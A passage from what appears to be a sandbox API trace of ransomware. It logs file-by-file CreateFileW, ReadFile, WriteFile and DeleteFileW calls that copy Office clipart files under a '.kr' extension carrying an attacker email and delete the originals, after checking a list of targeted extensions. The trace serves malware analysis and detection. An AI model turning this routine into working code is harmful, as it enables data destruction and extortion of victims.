(lpString1=".pdf", lpString2=".WMF") returned -1 [0198.628] lstrlenW (lpString=".xls") returned 4 [0198.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.628] lstrlenW (lpString=".xlsx") returned 5 [0198.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.628] lstrlenW (lpString=".ppt") returned 4 [0198.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.628] lstrlenW (lpString=".zip") returned 4 [0198.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.628] lstrlenW (lpString=".rar") returned 4 [0198.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.629] lstrlenW (lpString=".bz2") returned 4 [0198.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.629] lstrlenW (lpString=".7z") returned 3 [0198.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.629] lstrlenW (lpString=".dbf") returned 4 [0198.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.629] lstrlenW (lpString=".1cd") returned 4 [0198.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.629] lstrlenW (lpString=".jpg") returned 4 [0198.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.629] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.629] lstrlenW (lpString="IN00957_.WMF") returned 12 [0198.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.630] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2944) returned 1 [0198.630] CloseHandle (hObject=0x4d4) returned 1 [0198.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220 [0198.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.631] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.631] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0198.632] GetLastError () returned 0x0 [0198.632] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xb80, lpOverlapped=0x0) returned 1 [0198.633] WriteFile (in: hFile=0x550, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xb90, lpOverlapped=0x0) returned 1 [0198.634] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.634] WriteFile (in: hFile=0x550, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.634] SetEndOfFile (hFile=0x550) returned 1 [0198.635] CloseHandle (hObject=0x550) returned 1 [0198.635] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.635] SetEndOfFile (hFile=0x4d4) returned 1 [0198.638] CloseHandle (hObject=0x4d4) returned 1 [0198.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0198.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.640] lstrlenW (lpString=".doc") returned 4 [0198.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.640] lstrlenW (lpString=".docx") returned 5 [0198.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.640] lstrlenW (lpString=".pdf") returned 4 [0198.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.640] lstrlenW (lpString=".xls") returned 4 [0198.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.640] lstrlenW (lpString=".xlsx") returned 5 [0198.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.640] lstrlenW (lpString=".ppt") returned 4 [0198.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.640] lstrlenW (lpString=".zip") returned 4 [0198.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.640] lstrlenW (lpString=".rar") returned 4 [0198.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.640] lstrlenW (lpString=".bz2") returned 4 [0198.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.640] lstrlenW (lpString=".7z") returned 3 [0198.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.641] lstrlenW (lpString=".dbf") returned 4 [0198.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.641] lstrlenW (lpString=".1cd") returned 4 [0198.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.641] lstrlenW (lpString=".jpg") returned 4 [0198.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.641] lstrlenW (lpString=".doc") returned 4 [0198.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.641] lstrlenW (lpString=".docx") returned 5 [0198.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.641] lstrlenW (lpString=".pdf") returned 4 [0198.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.641] lstrlenW (lpString=".xls") returned 4 [0198.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.641] lstrlenW (lpString=".xlsx") returned 5 [0198.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.641] lstrlenW (lpString=".ppt") returned 4 [0198.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.641] lstrlenW (lpString=".zip") returned 4 [0198.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.642] lstrlenW (lpString=".rar") returned 4 [0198.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.642] lstrlenW (lpString=".bz2") returned 4 [0198.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.642] lstrlenW (lpString=".7z") returned 3 [0198.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.642] lstrlenW (lpString=".dbf") returned 4 [0198.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.642] lstrlenW (lpString=".1cd") returned 4 [0198.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0198.642] lstrlenW (lpString=".jpg") returned 4 [0198.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.642] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0198.642] lstrlenW (lpString="J0075478.GIF") returned 12 [0198.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.643] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1220) returned 1 [0198.643] CloseHandle (hObject=0x4d4) returned 1 [0198.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220 [0198.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.644] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.644] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0198.645] GetLastError () returned 0x0 [0198.645] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4c4, lpOverlapped=0x0) returned 1 [0198.647] WriteFile (in: hFile=0x550, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4d0, lpOverlapped=0x0) returned 1 [0198.648] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.648] WriteFile (in: hFile=0x550, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.648] SetEndOfFile (hFile=0x550) returned 1 [0198.648] CloseHandle (hObject=0x550) returned 1 [0198.648] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.648] SetEndOfFile (hFile=0x4d4) returned 1 [0198.652] CloseHandle (hObject=0x4d4) returned 1 [0199.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0199.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.179] lstrlenW (lpString=".doc") returned 4 [0199.179] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0199.179] lstrlenW (lpString=".docx") returned 5 [0199.179] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0199.179] lstrlenW (lpString=".pdf") returned 4 [0199.179] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0199.179] lstrlenW (lpString=".xls") returned 4 [0199.179] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0199.179] lstrlenW (lpString=".xlsx") returned 5 [0199.179] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0199.179] lstrlenW (lpString=".ppt") returned 4 [0199.179] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0199.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.179] lstrlenW (lpString=".zip") returned 4 [0199.179] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0199.179] lstrlenW (lpString=".rar") returned 4 [0199.179] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0199.180] lstrlenW (lpString=".bz2") returned 4 [0199.180] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0199.180] lstrlenW (lpString=".7z") returned 3 [0199.180] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0199.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.180] lstrlenW (lpString=".dbf") returned 4 [0199.180] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0199.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.180] lstrlenW (lpString=".1cd") returned 4 [0199.180] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0199.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.180] lstrlenW (lpString=".jpg") returned 4 [0199.180] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0199.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.180] lstrlenW (lpString=".doc") returned 4 [0199.180] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0199.180] lstrlenW (lpString=".docx") returned 5 [0199.180] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0199.180] lstrlenW (lpString=".pdf") returned 4 [0199.180] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0199.180] lstrlenW (lpString=".xls") returned 4 [0199.180] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0199.180] lstrlenW (lpString=".xlsx") returned 5 [0199.180] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0199.180] lstrlenW (lpString=".ppt") returned 4 [0199.180] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0199.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.180] lstrlenW (lpString=".zip") returned 4 [0199.181] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0199.181] lstrlenW (lpString=".rar") returned 4 [0199.181] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0199.181] lstrlenW (lpString=".bz2") returned 4 [0199.181] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0199.181] lstrlenW (lpString=".7z") returned 3 [0199.181] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0199.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.181] lstrlenW (lpString=".dbf") returned 4 [0199.181] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0199.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.181] lstrlenW (lpString=".1cd") returned 4 [0199.181] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0199.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0199.181] lstrlenW (lpString=".jpg") returned 4 [0199.181] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0199.181] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0199.181] lstrlenW (lpString="J0086478.WMF") returned 12 [0199.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.182] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=14174) returned 1 [0199.182] CloseHandle (hObject=0x534) returned 1 [0199.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220 [0199.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.183] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.183] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0199.183] GetLastError () returned 0x0 [0199.183] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x375e, lpOverlapped=0x0) returned 1 [0199.185] WriteFile (in: hFile=0x560, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3760, lpOverlapped=0x0) returned 1 [0199.187] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.187] WriteFile (in: hFile=0x560, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.187] SetEndOfFile (hFile=0x560) returned 1 [0199.187] CloseHandle (hObject=0x560) returned 1 [0199.187] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.187] SetEndOfFile (hFile=0x534) returned 1 [0199.191] CloseHandle (hObject=0x534) returned 1 [0199.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0199.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.192] lstrlenW (lpString=".doc") returned 4 [0199.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.192] lstrlenW (lpString=".docx") returned 5 [0199.192] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.192] lstrlenW (lpString=".pdf") returned 4 [0199.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.192] lstrlenW (lpString=".xls") returned 4 [0199.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.192] lstrlenW (lpString=".xlsx") returned 5 [0199.192] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.192] lstrlenW (lpString=".ppt") returned 4 [0199.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.193] lstrlenW (lpString=".zip") returned 4 [0199.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.193] lstrlenW (lpString=".rar") returned 4 [0199.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.193] lstrlenW (lpString=".bz2") returned 4 [0199.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.193] lstrlenW (lpString=".7z") returned 3 [0199.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.193] lstrlenW (lpString=".dbf") returned 4 [0199.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.193] lstrlenW (lpString=".1cd") returned 4 [0199.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.193] lstrlenW (lpString=".jpg") returned 4 [0199.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.193] lstrlenW (lpString=".doc") returned 4 [0199.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.193] lstrlenW (lpString=".docx") returned 5 [0199.193] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.193] lstrlenW (lpString=".pdf") returned 4 [0199.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.193] lstrlenW (lpString=".xls") returned 4 [0199.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.193] lstrlenW (lpString=".xlsx") returned 5 [0199.194] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.194] lstrlenW (lpString=".ppt") returned 4 [0199.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.194] lstrlenW (lpString=".zip") returned 4 